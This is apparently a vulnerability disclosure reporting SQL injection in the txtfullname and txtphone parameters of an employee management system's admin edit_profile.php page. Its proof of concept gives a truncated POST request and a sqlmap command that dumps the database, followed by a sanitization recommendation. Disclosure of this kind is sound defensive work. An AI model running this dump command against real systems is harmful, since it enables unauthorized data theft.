# Date: 2 Feb 2024

### SQL Injection:

> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.

### Affected Components:

> /employee_akpoly/Admin/edit_profile.php

> Two parameters `txtfullname` and `txtphone` within admin edit profile mechanism are vulnerable to SQL Injection.



### Description:

> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.

## Proof of Concept:

### SQLMap

Save the following request to `edit_profile.txt`:

POST /employee_akpoly/Admin/edit_profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Use `sqlmap` with `-r` option to exploit the vulnerability:

sqlmap -r edit_profile.txt --level 5 --risk 3 --batch --dbms MYSQL --dump

## Recommendations

When using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.
